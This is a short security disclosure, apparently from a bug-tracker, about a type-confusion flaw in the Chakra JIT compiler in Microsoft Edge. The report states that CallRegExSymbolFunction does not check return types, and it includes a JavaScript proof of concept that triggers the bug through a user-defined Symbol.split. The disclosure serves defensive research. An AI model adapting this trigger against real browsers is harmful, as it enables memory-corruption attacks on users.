Microsoft Edge: Chakra: JIT: CallRegExSymbolFunction doesn't check the return type 




The "CallRegExSymbolFunction" method is used to call symbol functions in regexp objects. But it doesn't check the return value's type. Since the user can define the symbol functions, it can break the JIT compiler's type assumptions.

Tested Microsoft Edge 41.16299.15.0 with Experimental JavaScript Features enabled.

PoC:
function opt(r) {
    let arr = 'a'.split(r);
    arr.x = 1;

    return arr;
}

function main() {
    let a = {
        [Symbol.split]() {
            return 0x1234;
        }
    };

    for (let i = 0; i < 0x10000; i++) {
        opt(a);
    }
    opt(a);
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt